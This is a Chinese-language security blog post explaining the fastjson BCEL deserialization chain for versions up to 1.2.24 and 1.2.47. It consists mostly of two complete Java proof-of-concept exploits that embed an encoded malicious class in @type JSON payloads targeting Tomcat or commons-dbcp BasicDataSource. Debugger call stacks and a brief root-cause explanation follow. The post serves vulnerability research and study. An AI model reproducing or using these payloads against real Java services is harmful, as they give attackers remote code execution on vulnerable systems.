fastjson反序列化(进阶)

BCEL 链

影响范围

网上可以找到的 poc 分下面两种, fastjson 的不同版本,对应的 payload 构造和 source 点也不同

fastjson <= 1.2.24

fastjson <= 1.2.47

jdk < 8u251

依赖有两种:

tomcat 依赖,注意 payload 变化:<=tomcat7 source点是 org.apache.tomcat.dbcp.dbcp.BasicDataSource、>=tomcat8 source点 是 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>

commons-dbcp 依赖

1
2
3
4
5
<dependency>
<groupId>commons-dbcp</groupId>
<artifactId>commons-dbcp</artifactId>
<version>1.4</version>
</dependency>

Exp

bcel for fastjson <= 1.2.24

title:"poc.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package Poc.bcel;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
* @program: Fastjson
* @description: bcel for fastjson <= 1.2.24
* @author: Jasper_sec
* @date: 2025-03-15 14:56
**/
public class POC_1_2_24 {
public static void main(String[] args) throws Exception{
// jdk < 8u251
String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class";
String code = file2bcelcode(evilClass);
String payload =
"{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +/*此处Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource、Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource*/
" \"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" +
" \"driverClassName\": \"$$BCEL$$"+ code +"\"\n" +
"}\n";

JSON.parseObject(payload);
}
public static String file2bcelcode(String classFilePath) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath));
return Utility.encode(bytecode, true);
}
}

bcel for fastjson <= 1.2.24

title:"poc.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package Poc.bcel;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.nio.file.Files;
import java.nio.file.Paths;

/**
* @program: Fastjson
* @description: bcel for fastjson <= 1.2.47
* @author: Jasper_sec
* @date: 2025-03-15 15:42
**/
public class POC_1_2_47 {
public static void main(String[] args) throws Exception{
// jdk < 8u251
String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class";
String code = file2bcelcode(evilClass);
String payload = "{\n" +
" \"xx\":\n" +
" {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
" },\n" +
" \"x\" : {\n" +
" \"name\": {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" {\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"c\": {\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\":\"$$BCEL$$"+code+"\"\n" +
" }\n" +
" } : \"xxx\"\n" +
" }\n" +
"}";
JSONObject jsonObject = JSON.parseObject(payload);
// 这里必不可少,坑
jsonObject.toJSONString();
}
public static String file2bcelcode(String classFilePath) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath));
return Utility.encode(bytecode, true);
}
}

漏洞分析

1.2.24

经典的 fastjson 调用 getter,source 点是 BasicDataSource#getConnection ,sink 点是 BasicDataSource#createConnectionFactory

bcel 可以不出网进行动态类加载的原因:在 com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass 中,如果 class_name$$BCEL$$ 开头,则会读取 class_name 后面的字节码并调用 define_class 进行类的加载。

所以攻击者可以把字节码写进 payload 里,从而实现不出网的动态类加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
defineClass:642, ClassLoader (java.lang)
loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:27, POC_1_2_24 (Poc.bcel)

1.2.47

这个版本踩坑,触发点不在 parseObject,而是得到反序列化后的对象, 再进行 jsonObject.toJSONString() 才会触发。

这个链子和上一个完全一样,不再赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
defineClass:642, ClassLoader (java.lang)
loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
write:-1, ASMSerializer_1_BasicDataSource (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:281, JSONSerializer (com.alibaba.fastjson.serializer)
write:236, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:281, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
main:46, POC_1_2_47 (Poc.bcel)

参考链接

bcel链 不出网利用 : https://www.freebuf.com/vuls/360993.html